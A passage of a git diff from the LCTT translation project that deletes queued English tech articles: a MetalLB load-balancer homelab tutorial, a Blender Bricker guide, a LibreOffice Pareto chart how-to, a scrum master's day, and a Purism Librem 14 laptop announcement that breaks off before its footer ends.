opportunity. - --------------------------------------------------------------------------------- - -via: https://www.linux.com/audience/developers/whats-new-in-harbor-2-0/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 -[1]: https://goharbor.io/ -[2]: https://www.tfir.io/author/arnieswap/#:~:text=Swapnil%20Bhartiya%20Swapnil%20Bhartiya%20is%20the%20Founder%20and,audience%20for%20enterprise%20open%20source%20and%20emerging%20technologies. diff --git a/sources/tech/20200701 Install a Kubernetes load balancer on your Raspberry Pi homelab with MetalLB.md b/sources/tech/20200701 Install a Kubernetes load balancer on your Raspberry Pi homelab with MetalLB.md deleted file mode 100644 index 106fc01960..0000000000 --- a/sources/tech/20200701 Install a Kubernetes load balancer on your Raspberry Pi homelab with MetalLB.md +++ /dev/null @@ -1,282 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Install a Kubernetes load balancer on your Raspberry Pi homelab with MetalLB) -[#]: via: (https://opensource.com/article/20/7/homelab-metallb) -[#]: author: (Chris Collins https://opensource.com/users/clcollins) - -Install a Kubernetes load balancer on your Raspberry Pi homelab with MetalLB -====== -Assign real IPs from your home network to services running in your -cluster and access them from other hosts on your network. -![Science lab with beakers][1] - -Kubernetes is designed to integrate with major cloud providers' load balancers to provide public IP addresses and direct traffic into a cluster. Some professional network equipment manufacturers also offer controllers to integrate their physical load-balancing products into Kubernetes installations in private data centers. For an enthusiast running a Kubernetes cluster at home, however, neither of these solutions is very helpful. - -Kubernetes does not have a built-in network load-balancer implementation. A bare-metal cluster, such as a [Kubernetes cluster installed on Raspberry Pis for a private-cloud homelab][2], or really any cluster deployed outside a public cloud and lacking expensive professional hardware, needs another solution. [MetalLB][3] fulfills this niche, both for enthusiasts and large-scale deployments. - -MetalLB is a network load balancer and can expose cluster services on a dedicated IP address on the network, allowing external clients to connect to services inside the Kubernetes cluster. It does this via either [layer 2 (data link)][4] using [Address Resolution Protocol][5] (ARP) or [layer 4 (transport)][6] using [Border Gateway Protocol][7] (BGP). - -While Kubernetes does have something called [Ingress][8], which allows HTTP and HTTPS traffic to be exposed outside the cluster, it supports _only_ HTTP or HTTPS traffic, while MetalLB can support any network traffic. It is more of an apples-to-oranges comparison, however, because MetalLB provides resolution of an unassigned IP address to a particular cluster node and assigns that IP to a Service, while Ingress uses a specific IP address and internally routes HTTP or HTTPS traffic to a Service or Services based on routing rules. - -MetalLB can be set up in just a few steps, works especially well in private homelab clusters, and within Kubernetes clusters, it behaves the same as public cloud load-balancer integrations. This is great for education purposes (i.e., learning how the technology works) and makes it easier to "lift-and-shift" workloads between on-premises and cloud environments. - -### ARP vs. BGP - -As mentioned, MetalLB works via either ARP or BGP to resolve IP addresses to specific hosts. In simplified terms, this means when a client attempts to connect to a specific IP, it will ask "which host has this IP?" and the response will point it to the correct host (i.e., the host's MAC address). - -With ARP, the request is broadcast to the entire network, and a host that knows which MAC address has that IP address responds to the request; in this case, MetalLB's answer directs the client to the correct node. - -With BGP, each "peer" maintains a table of routing information directing clients to the host handling a particular IP for IPs and the hosts the peer knows about, and it advertises this information to its peers. When configured for BGP, MetalLB peers each of the nodes in the cluster with the network's router, allowing the router to direct clients to the correct host. - -In both instances, once the traffic has arrived at a host, Kubernetes takes over directing the traffic to the correct pods. - -For the following exercise, you'll use ARP. Consumer-grade routers don't (at least easily) support BGP, and even higher-end consumer or professional routers that do support BGP can be difficult to set up. ARP, especially in a small home network, can be just as useful and requires no configuration on the network to work. It is considerably easier to implement. - -### Install MetalLB - -Installing MetalLB is straightforward. Download or copy two manifests from [MetalLB's GitHub repository][9] and apply them to Kubernetes. These two manifests create the namespace MetalLB's components will be deployed to and the components themselves: the MetalLB controller, a "speaker" daemonset, and service accounts. - -#### Install the components - -Once you create the components, a random secret is generated to allow encrypted communication between the speakers (i.e., the components that "speak" the protocol to make services reachable). - -(Note: These steps are also available on MetalLB's website.) - -The two manifests with the required MetalLB components are: - - * - * - - - -They can be downloaded and applied to the Kubernetes cluster using the `kubectl apply` command, either locally or directly from the web: - - -``` -# Verify the contents of the files, then download and pipe then to kubectl with curl -# (output omitted) -$ kubectl apply -f -$ kubectl apply -f -``` - -After applying the manifests, create a random Kubernetes secret for the speakers to use for encrypted communications: - - -``` -# Create a secret for encrypted speaker communications -$ kubectl create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" -``` - -Completing the steps above will create and start all the MetalLB components, but they will not do anything until they are configured. To configure MetalLB, create a configMap that describes the pool of IP addresses the load balancer will use. - -#### Configure the address pools - -MetalLB needs one last bit of setup: a configMap with details of the addresses it can assign to the Kubernetes Service LoadBalancers. However, there is a small consideration. The addresses in use do not need to be bound to specific hosts in the network, but they must be free for MetalLB to use and not be assigned to other hosts. - -In my home network, IP addresses are assigned by the DHCP server my router is running. This DHCP server should not attempt to assign the addresses that MetalLB will use. Most consumer routers allow you to decide how large your subnet will be and can be configured to assign only a subset of IPs in that subnet to hosts via DHCP. - -In my network, I am using the subnet `192.168.2.1/24`, and I decided to give half the IPs to MetalLB. The first half of the subnet consists of IP addresses from `192.168.2.1` to `192.168.2.126`. This range can be represented by a `/25` subnet: `192.168.2.1/25`. The second half of the subnet can similarly be represented by a `/25` subnet: `192.168.2.128/25`. Each half contains 126 IPs—more than enough for the hosts and Kubernetes services. Make sure to decide on subnets appropriate to your own network and configure your router and MetalLB appropriately. - -After configuring the router to ignore addresses in the `192.168.2.128/25` subnet (or whatever subnet you are using), create a configMap to tell MetalLB to use that pool of addresses: - - -``` -# Create the config map -$ cat <<EOF | kubectl create -f - -apiVersion: v1 -kind: ConfigMap -metadata: -  namespace: metallb-system -  name: config -data: -  config: | -    address-pools: -    - name: address-pool-1 -      protocol: layer2 -      addresses: -      - 192.168.2.128/25 -EOF -``` - -The example configMap above uses [CIDR][10] notation, but the list of addresses can also be specified as a range: - - -``` -addresses: - - 192.168.2.128-192.168.2.254 -``` - -Once the configMap is created, MetalLB will be active. Time to try it out! - -### Test MetalLB - -You can test the new MetalLB configuration by creating an example web service, and you can use one from a [previous article][2] in this series: Kube Verify. Use the same image to test that MetalLB is working as expected: `quay.io/clcollins/kube-verify:01`. This image contains an Nginx server listening for requests on port 8080. You can [view the Containerfile][11] used to create the image. If you want, you can instead build your own container image from the Containerfile and use that for testing. - -If you previously created a Kubernetes cluster on Raspberry Pis, you may already have a Kube Verify service running and can [skip to the section][12] on creating a LoadBalancer-type of service. - -#### If you need to create a kube-verify namespace - -If you do not already have a `kube-verify` namespace, create one with the `kubectl` command: - - -``` -# Create a new namespace -$ kubectl create namespace kube-verify -# List the namespaces -$ kubectl get namespaces -NAME              STATUS   AGE -default           Active   63m -kube-node-lease   Active   63m -kube-public       Active   63m -kube-system       Active   63m -metallb-system    Active   21m -kube-verify       Active   19s -``` - -With the namespace created, create a deployment in that namespace: - - -``` -# Create a new deployment -$ cat <<EOF | kubectl create -f - -apiVersion: apps/v1 -kind: Deployment -metadata: -  name: kube-verify -  namespace: kube-verify -  labels: -    app: kube-verify -spec: -  replicas: 3 -  selector: -    matchLabels: -      app: kube-verify -  template: -    metadata: -      labels: -        app: kube-verify -    spec: -      containers: -      - name: nginx -        image: quay.io/clcollins/kube-verify:01 -        ports: -        - containerPort: 8080 -EOF -deployment.apps/kube-verify created -``` - -#### Create a LoadBalancer-type Kubernetes service - -Now expose the deployment by creating a LoadBalancer-type Kubernetes service. If you already have a service named `kube-verify`, this will replace that one: - - -``` -# Create a LoadBalancer service for the kube-verify deployment -cat <<EOF | kubectl apply -f - -apiVersion: v1 -kind: Service -metadata: -  name: kube-verify -  namespace: kube-verify -spec: -  selector: -    app: kube-verify -  ports: -    - protocol: TCP -      port: 80 -      targetPort: 8080 -  type: LoadBalancer -EOF -``` - -You could accomplish the same thing with the `kubectl expose` command: - - -``` -`kubectl expose deployment kube-verify -n kube-verify --type=LoadBalancer --target-port=8080 --port=80` -``` - -MetalLB is listening for services of type LoadBalancer and immediately assigns an external IP (an IP chosen from the range you selected when you set up MetalLB). View the new service and the external IP address MetalLB assigned to it with the `kubectl get service` command: - - -``` -# View the new kube-verify service -$ kubectl get service kube-verify -n kube-verify -NAME          TYPE           CLUSTER-IP      EXTERNAL-IP     PORT(S)        AGE -kube-verify   LoadBalancer   10.105.28.147   192.168.2.129   80:31491/TCP   4m14s - -# Look at the details of the kube-verify service -$ kubectl describe service kube-verify -n kube-verify -Name:                     kube-verify -Namespace:                kube-verify -Labels:                   app=kube-verify -Annotations:              <none> -Selector:                 app=kube-verify -Type:                     LoadBalancer -IP:                       10.105.28.147 -LoadBalancer Ingress:     192.168.2.129 -Port:                     <unset>  80/TCP -TargetPort:               8080/TCP -NodePort:                 <unset>  31491/TCP -Endpoints:                10.244.1.50:8080,10.244.1.51:8080,10.244.2.36:8080 -Session Affinity:         None -External Traffic Policy:  Cluster -Events: -  Type    Reason        Age    From                Message -  ----    ------        ----   ----                ------- -  Normal  IPAllocated   5m55s  metallb-controller  Assigned IP "192.168.2.129" -  Normal  nodeAssigned  5m55s  metallb-speaker     announcing from node "gooseberry" -``` - -In the output from the `kubectl describe` command, note the events at the bottom, where MetalLB has assigned an IP address (yours will vary) and is "announcing" the assignment from one of the nodes in your cluster (again, yours will vary). It also describes the port, the external port you can access the service from (80), the target port inside the container (port 8080), and a node port through which the traffic will route (31491). The end result is that the Nginx server running in the pods of the `kube-verify` service is accessible from the load-balanced IP, on port 80, from anywhere on your home network. - -For example, on my network, the service was exposed on `http://192.168.2.129:80`, and I can `curl` that IP from my laptop on the same network: - - -``` -# Verify that you receive a response from Nginx on the load-balanced IP -$ curl 192.168.2.129 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" -    "[http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"\>][13] - -<html xmlns="" xml:lang="en" lang="en"> -<head> -  <title>Test Page for the HTTP Server on Fedora</title> -(further output omitted) -``` - -### MetalLB FTW - -MetalLB is a great load balancer for a home Kubernetes cluster. It allows you to assign real IPs from your home network to services running in your cluster and access them from other hosts on your home network. These services can even be exposed outside the network by port-forwarding traffic through your home router (but please be careful with this!). MetalLB easily replicates cloud-provider-like behavior at home on bare-metal computers, Raspberry Pi-based clusters, and even virtual machines, making it easy to "lift-and-shift" workloads to the cloud or just familiarize yourself with how they work. Best of all, MetalLB is easy and convenient and makes accessing the services running in your cluster a breeze. - -Have you used MetalLB, or do you use another load-balancer solution? Are you primarily using Nginx or HAProxy Ingress? Let me know in the comments! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/homelab-metallb - -作者:[Chris Collins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/clcollins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/science_experiment_beaker_lab.png?itok=plKWRhlU (Science lab with beakers) -[2]: https://opensource.com/article/20/6/kubernetes-raspberry-pi -[3]: https://metallb.universe.tf/ -[4]: https://en.wikipedia.org/wiki/Data_link_layer -[5]: https://en.wikipedia.org/wiki/Address_Resolution_Protocol -[6]: https://en.wikipedia.org/wiki/Transport_layer -[7]: https://en.wikipedia.org/wiki/Border_Gateway_Protocol -[8]: https://kubernetes.io/docs/concepts/services-networking/ingress/ -[9]: https://github.com/metallb/metallb -[10]: https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing -[11]: https://github.com/clcollins/homelabCloudInit/blob/master/simpleCloudInitService/data/Containerfile -[12]: tmp.A4L9yD76e5#loadbalancer -[13]: http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"\> diff --git a/sources/tech/20200703 Create LEGO designs in Blender with this plugin.md b/sources/tech/20200703 Create LEGO designs in Blender with this plugin.md deleted file mode 100644 index 68da8f0339..0000000000 --- a/sources/tech/20200703 Create LEGO designs in Blender with this plugin.md +++ /dev/null @@ -1,100 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create LEGO designs in Blender with this plugin) -[#]: via: (https://opensource.com/article/20/7/lego-blender-bricker) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Create LEGO designs in Blender with this plugin -====== -Convert your 3D digital models into LEGO designs with Bricker -![Open Lego CAD][1] - -I use [LEGO CAD][2] to document some of my own creations (or "MOCs," as custom sets are called in some digital LEGO communities). The advantage of computer-aided design (CAD) is precision. When you use CAD to build something in virtual space, you can reasonably expect that it can be built in the real world. While the LEGO CAD applications I use don't have simulated physics to verify the structural integrity of my designs, I do lay every brick in the software to mimic a model I've made in real life. - -LEGO bricks aren't just raw materials for design, though. They're also an aesthetic, as evident from LEGO-themed video games and movies. If you're less concerned with precision, but you still want the look of LEGO bricks, there's a great plugin for Blender called [Bricker][3] that can convert your 3D models into LEGO models with the click of a button. - -### Install Bricker - -You can buy Bricker for $65 USD from [BlenderMarket][4], and it's licensed under the GPLv3. Paying for it helps fund development and support. - -To install Bricker, launch Blender, click the **Edit** menu, and select **Preferences**. In the Preferences pane, click the **Add-ons** tab on the left.  - -![Installing an add-on in Blender][5] - -(Seth Kenlon, [CC BY-SA 4.0][6]) - -Start typing "Bricker" in the search box in the upper-right of the **Add-ons** pane, click the **Install** button, and select the Bricker ZIP file when prompted. - -### Convert a 3D model to LEGO bricks - -Whether you have the universal starting point of a plain, gray cube, an elaborate model of your own creation, or something you've downloaded from a Blender model hub, you can give Bricker a try right after installation. - -First, click on the model you want to convert into a LEGO model. With your model selected, press the **N** key on your keyboard to open the **Properties** panel. Click the **Bricker** properties tab, and click the **New Brick Model** button. - -![Bricker properties][7] - -(Seth Kenlon, [CC BY-SA 4.0][6]) - -Now that you've added the model to Bricker, click the new **Brickify Object** button in the Bricker panel. - -The default settings render a pretty blocky model, with mostly 2x10 bricks, no plates, and not much detail. - -![Blocks in Bricker][8] - -(Seth Kenlon, [CC BY-SA 4.0][6]) - -But there are plenty of options in the Bricker plugin for you to customize, and they show up in the Bricker **Properties** panel once you brickify a model. - -![Bricker settings][9] - -(Seth Kenlon, [CC BY-SA 4.0][6]) - -The most important settings in the **Model Settings** panel are: - - * **Brick height** sets the height of each brick in the model. A larger setting produces a less detailed model because fewer bricks are used for the sculpt. - * **Split model** makes every rendered brick an object you can move in Blender. Without this enabled, your model looks like lots of bricks but acts as if they are all glued together. - * **Brick types** controls whether your sculpture is made of bricks, plates, both bricks and plates, tiles, and so on. - * **Max size** sets the maximum size for bricks and plates in your sculpture. - * **Legal bricks only** ensures that all the bricks are based on real ones. For instance, enabling this prevents it from generating a 3x7 brick or a 2x11 plate because there are no such pieces in the LEGO catalog (or at least not in the [LDraw Parts][10] library). - - - -In the **Detailing** panel, you can control whether the undersides of the bricks are flat (which isn't very realistic, but "cheaper" to render) or detailed to mimic the underside of an actual LEGO piece. - -After changing a setting, you must click the **Update Model** button, near the top of the Bricker property panel, to re-render your sculpture. - -![Red dragon model in Bricker][11] - -(Seth Kenlon, [CC BY-SA 4.0][6]) - -### Brickify your designs - -Bricker is a fun stylistic plugin for Blender. While it probably won't be your go-to tool for designing real LEGO sets, it's a great way to sculpt, draw, and animate with virtual LEGO. If you've been putting off your LEGO stop-motion movie magnum opus, now's the time to get started in the virtual world. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/lego-blender-bricker - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/open-lego.tiff_.png?itok=mQglOhW_ (Open Lego CAD) -[2]: https://opensource.com/article/20/6/open-source-virtual-lego -[3]: https://github.com/bblanimation/bricker -[4]: https://www.blendermarket.com/products/bricker/docs -[5]: https://opensource.com/sites/default/files/uploads/bricker-install.jpg (Installing an add-on in Blender) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://opensource.com/sites/default/files/uploads/bricker-properties.jpg (Bricker properties) -[8]: https://opensource.com/sites/default/files/uploads/bricker-blocky.jpg (Blocks in Bricker) -[9]: https://opensource.com/sites/default/files/uploads/bricker-adjust.jpg (Bricker settings) -[10]: https://www.ldraw.org/parts/official-parts.html -[11]: https://opensource.com/sites/default/files/uploads/red-dragon-bricker.jpg (Red dragon model in Bricker) diff --git a/sources/tech/20200703 How to Create a Pareto Diagram -80-20 Rule- in LibreOffice Calc.md b/sources/tech/20200703 How to Create a Pareto Diagram -80-20 Rule- in LibreOffice Calc.md deleted file mode 100644 index b001992a6c..0000000000 --- a/sources/tech/20200703 How to Create a Pareto Diagram -80-20 Rule- in LibreOffice Calc.md +++ /dev/null @@ -1,146 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to Create a Pareto Diagram [80/20 Rule] in LibreOffice Calc) -[#]: via: (https://itsfoss.com/pareto-chart-libreoffice/) -[#]: author: (Dimitrios Savvopoulos https://itsfoss.com/author/dimitrios/) - -How to Create a Pareto Diagram [80/20 Rule] in LibreOffice Calc -====== - -_**Brief: In this LibreOffice tip, you’ll learn to create the famous Pareto chart in Calc.**_ - -The [Pareto Principle][1], also known as the 80/20 Rule, The Law of the Vital Few and The Principle of Factor Sparsity, illustrates that 80% of effects arise from 20% of the causes – or in layman’s terms – 20% of your actions/activities will account for 80% of your results/outcomes. - -Although the original observation is related to [economics][2], it can be widely adopted and used across all aspects of business, economics, mathematics, and processes. In computer science, the Pareto principle can be used in [software optimization][3]. - -Let me show you how to create a Pareto diagram in [LibreOffice][4] spreadsheet tool, i.e. Calc. - -### Creating Pareto diagram in LibreOffice Calc - -![][5] - -To be able to create a Pareto diagram, you need these three basic elements: - - * The factors, ranked by the magnitude of their contribution - * The factors expressed numerically - * The cumulative-percent-of-total effect of the ranked factors - - - -First, enter the data in a spreadsheet. Now let’s get started! - -#### Step 1: Sort the data - -Mark all rows from first to the last and at the **Data** tab click on the Sort option. At the **Sort Criteria** tab choose **Sort key 1** and change the entry to **Number of Errors** or whichever name you choose. Make sure to tick **Descending** and finally **OK**. - -![][6] - -#### Step 2: Create the Cumulative Percentage values - -To calculate the cumulative percent of a total, you will need one formula for the first cell (C5) and a different formula for cells C6 and below. - -**Generic formula for the first cell** - -``` -=amount/total -``` - -**In the example shown, the formula in C5 is:** =B5/$B$15 - -**Generic formula for the remaining cells**: - -``` -=(amount/total)+previous cell result -``` - -**In the example shown, the formula in C6 is:** =(B6/$B$15)+C5 - -By dragging the fill handle down, you will get the correct formulas for the remaining cells. - -![][7] - -#### Step 3: Create the Pareto diagram - -To create the chart go to **Insert** tab and then click on the **Chart** option. - -In the upcoming Chart Wizard choose the chart type **Column and Line** with **Number of lines** set to 1 and click Next. - -![][8] - -Select the correct data range **$A$4:$C$14** by either using your mouse in the data range selector or by entering it manually. Leave the settings **Data series in columns**, **First row as label**, **First column as label** and click Next. - -![][9] - -The following Data Series window should have everything filled in correctly, click Next. - -![][10] - -In the last window enter titles and remove the legend: - - * Title: Pareto chart - * X axis: Error Type - * Y axis: Number of Errors - * Untick **Display legend** - * click **Finish**. - - - -![][11] - -And this is the result: - -![][12] - -If the red line appears without any value, select it, then right click > Format Data Series > Align Data Series to Secondary y-Axis > Click OK. - -#### Step 4: Fine tune the chart - -The range of the secondary y-axis is set to **0 – 120** , it needs to be up to **100**. - -Double click on the secondary y-axis . In the **Scale** tab, untick **Automatic** and **enter 100** as the maximum value. Then click ok. - -![][13] - -All done! - -![][14] - -**Conclusion** - -Using a Pareto chart to analyze problems in a business project allows focusing efforts towards the ones offering the most considerable improvement potential. - -This is one of the many real-life scenario where I have used LibreOffice instead of other proprietary office software. I hope to share more LibreOffice tutorials on It’s FOSS. Meanwhile, you can [learn these rather hidden LibreOffice tips][15]. - -Which LibreOffice functionality do you use the most? Let us know at the comments below! - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/pareto-chart-libreoffice/ - -作者:[Dimitrios Savvopoulos][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/dimitrios/ -[b]: https://github.com/lujun9972 -[1]: https://betterexplained.com/articles/understanding-the-pareto-principle-the-8020-rule/ -[2]: https://en.wikipedia.org/wiki/Pareto_principle#In_economics -[3]: https://en.wikipedia.org/wiki/Program_optimization#Bottlenecks -[4]: https://www.libreoffice.org/ -[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/07/pareto-libreoffice.png?ssl=1 -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/07/1.-sort-the-data.png?ssl=1 -[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/07/2.-cumulative-percent.png?ssl=1 -[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/07/3.chart_.png?ssl=1 -[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/07/5.data-range.png?ssl=1 -[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/07/6.data-series.png?fit=800%2C381&ssl=1 -[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/07/7.chart-elements.png?fit=800%2C381&ssl=1 -[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/07/8.Pareto-chart.png?ssl=1 -[13]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/07/9.fine-tune.png?ssl=1 -[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/07/10.final_.png?ssl=1 -[15]: https://itsfoss.com/libreoffice-tips/ diff --git a/sources/tech/20200703 What does a scrum master do.md b/sources/tech/20200703 What does a scrum master do.md deleted file mode 100644 index 3bf97d6cad..0000000000 --- a/sources/tech/20200703 What does a scrum master do.md +++ /dev/null @@ -1,68 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What does a scrum master do?) -[#]: via: (https://opensource.com/article/20/7/scrum-master) -[#]: author: (Taz Brown https://opensource.com/users/heronthecli) - -What does a scrum master do? -====== -Scrum master is a career path that open source enthusiasts should -consider. Here's what a day in the life of one looks like. -![Digital images of a computer desktop][1] - -Turning a love of open source communities into a career is possible, and there are plenty of directions you can take. The path I'm on these days is as a scrum master. - -[Scrum][2] is a framework in which software development teams deliver working software in increments of 30 days or less called "sprints." There are three roles: scrum master, product owner, and development team. A scrum master is a facilitator, coach, teacher/mentor, and servant/leader that guides the development team through executing the scrum framework correctly. - -The scrum master heads up the daily scrum, sprint planning, sprint review, and sprint retrospectives. As a scrum master, you also remove impediments and help the team to become self-organizing and empowered to create, innovate, and make decisions for themselves as a unit. As a scrum master with a full list of responsibilities, I appreciate a well-organized daily schedule—here's what mine looks like. - -### A day in the life of a scrum master - -5:00am—Wake up and go to the gym for at least 45 minutes, but given the fact that we are working from home now, I will either walk/run on the treadmill or jump rope for 30 minutes -5:45am—Shower and get dressed -6:15am—Have some breakfast and make coffee or espresso -6:40am—Drive into work (or go for a walk around the neighborhood when working remotely) -7:00am—I get to work and clean up the team room before the team gets in (for remote work, I clean up our team wiki) -8:00am—Read emails and respond to priority emails from the team, team manager, or agile coach -8:45am —Get a caffeine refill from the break room -9:00am—Check in with the team and review the team's scrum board in Jira (or another [open source alternative][3]) just to see if there are any patterns of behavior I might need to address. Modify the team's impediment board if any impediments have been removed. -10:00am—Daily scrum (time-boxed for 15 minutes) -10:15am—Discuss parking lot items following the scrum -11:00am—Meet with the team's manager/leadership, or facilitate a community of practice or brown bag lunch around topics such as effective engineering practices -12:00pm—Lunch meeting or coffee with a product owner -1:00pm—Lunch (30 minutes is more than enough time for me) -1:30pm—Possible tasks include facilitating a backlog refinement event leading up to sprint planning, sprint review/demo, or sprint retrospective -2:30pm—Meet with test automation or DevSecOps team -3:00pm—Facilitate a team-building workshop -4:00pm—Final check-ins with the team and then answer final emails -4:30pm—Update the team's scrum journal -5:00pm—Layout my to-do list for the next day - -![Scrum team room setup with sticky notes][4] - -I had been in traditional IT for many years prior to becoming a scrum master. I eventually decided that I could use other skills such as my business experience and management experience to work with software development and DevOps teams to create high-performing teams. - -Software/DevOps teams use scrum to deliver software incrementally, yet faster and with a high level of quality and sustainability. To me, it was a great decision. Being a scrum master is also about removing impediments. I coach the team on how to solve their own problems, but if it becomes necessary, I will step in and help resolve the issues. - -The scrum master role is fun, exciting, and fulfilling, but also pressure-filled and stressful sometimes. But it ultimately, it is worth it to me, as I get to see my teams grow and not only deliver best in class software, but become better people. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/scrum-master - -作者:[Taz Brown][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/heronthecli -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_desk_home_laptop_browser.png?itok=Y3UVpY0l (Digital images of a computer desktop) -[2]: https://opensource.com/resources/scrum -[3]: https://opensource.com/business/16/2/top-issue-support-and-bug-tracking-tools -[4]: https://opensource.com/sites/default/files/uploads/scrummaster_cropped.jpg (Scrum team room setup with sticky notes ) diff --git a/sources/tech/20200704 Purism-s Ultra-Secure Linux Machine is Now Available in a New Size.md b/sources/tech/20200704 Purism-s Ultra-Secure Linux Machine is Now Available in a New Size.md deleted file mode 100644 index a85ab84d33..0000000000 --- a/sources/tech/20200704 Purism-s Ultra-Secure Linux Machine is Now Available in a New Size.md +++ /dev/null @@ -1,104 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Purism’s Ultra-Secure Linux Machine is Now Available in a New Size) -[#]: via: (https://itsfoss.com/purism-librem-14/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -Purism’s Ultra-Secure Linux Machine is Now Available in a New Size -====== - -[Purism][1] is well-known for its privacy and security focused hardware and software while utilizing open-source technologies. Not to forget the latest [Purism Librem Mini][2]. - -After a good success with Librem 15 and 13 series laptops, Purism has unveiled Librem 14. - -![][3] - -Librem 14 looks like a perfect laptop for an open-source enthusiast who’s concerned about the security and privacy of a laptop. - -In this article, we will talk about Librem 14 specifications, pricing, and its availability. - -### Librem 14: Overview - -Similar to other variants in the series, Librem 14 offers all the essential security features like the **hardware kill switch** to disable webcam/microphone and its secure PureBoot boot firmware. - -![][4] - -Librem series is one of the rare [few laptops that come preloaded with Linux][5]. Purism uses its own custom distribution called [PureOS][6]. If you’re curious, you can also browse the [source code][7] for it. - -As a key highlight of Librem 14 laptop, here’s what [Purism mentions][8]: - -> The most distinctive feature of the Librem 14 is the new 14″ 1080p IPS matte display which, due to the smaller bezel, fits within the same footprint as the Librem 13. - -Even though that’s not something mind-blowing, it is good to see that they’ve made the laptop fit within the same footprint as its predecessor. - -It’s a great decision targeted for users who do not want a lot of changes with their laptop upgrade or may appreciate a compact dimension of the laptop. - -### Librem 14: Specifications - -![][9] - -Along with the key highlight, Purism’s Librem 14 offers an impressive set of specifications. Here’s what you get: - - * Intel Core i7-10710U (Comet Lake) - * 14″ Matte (1920×1080) Display - * Intel UHD Graphics - * RAM Up to 32GB, DDR4 at 2133 MHz - * 2 SATA + NVMe-capable M.2 slots - * 1 HDMI Port (4K capable @60Hz max) - * USB Type-C Video Out (4K capable) - * 3.5mm AudioJack - * Gigabit Ethernet Adapter with Integrated RJ45 Connector - * Atheros 802.11n w/ Two Antennas - * USB-C Power Delivery Port - * Weight: 1.4 kg - - - -It’s slightly disappointing to see Intel chipsets in 2020 — but considering the presence of PureBoot and other features that Librem 14 offers, an Intel-powered secure laptop makes sense. - -Nevertheless, it’s good to see them including USB Type-C video port. Without dedicated graphics, it may not be a steal deal for power users but it should get a lot of work done. - -Also, it’s worth noting that Purism offers [anti-interdiction services][10] to detect tampering during shipments for high-risk customers. Of course, that wouldn’t prevent tampering — but it’ll help you know about it. - -![][11] - -### Librem 14: Pricing & Availability - -For now, Librem 14 laptop is available for pre-orders with an early big base price of **$1199** ($300 off from its regular price) that features 8 Gigs of RAM and 250 GB of M.2 SATA storage. - -Depending on what you prefer, the price might go up to **$3,693.00** with the maxed out configuration with anti-interdiction services included. - -You can expect the orders to start shipping in the early Q4 2020. - -[Pre-Order Librem 14][12] - -What do you think about Purism’s Librem 14 laptop? Feel free to let me know your thoughts in the comments. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/purism-librem-14/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 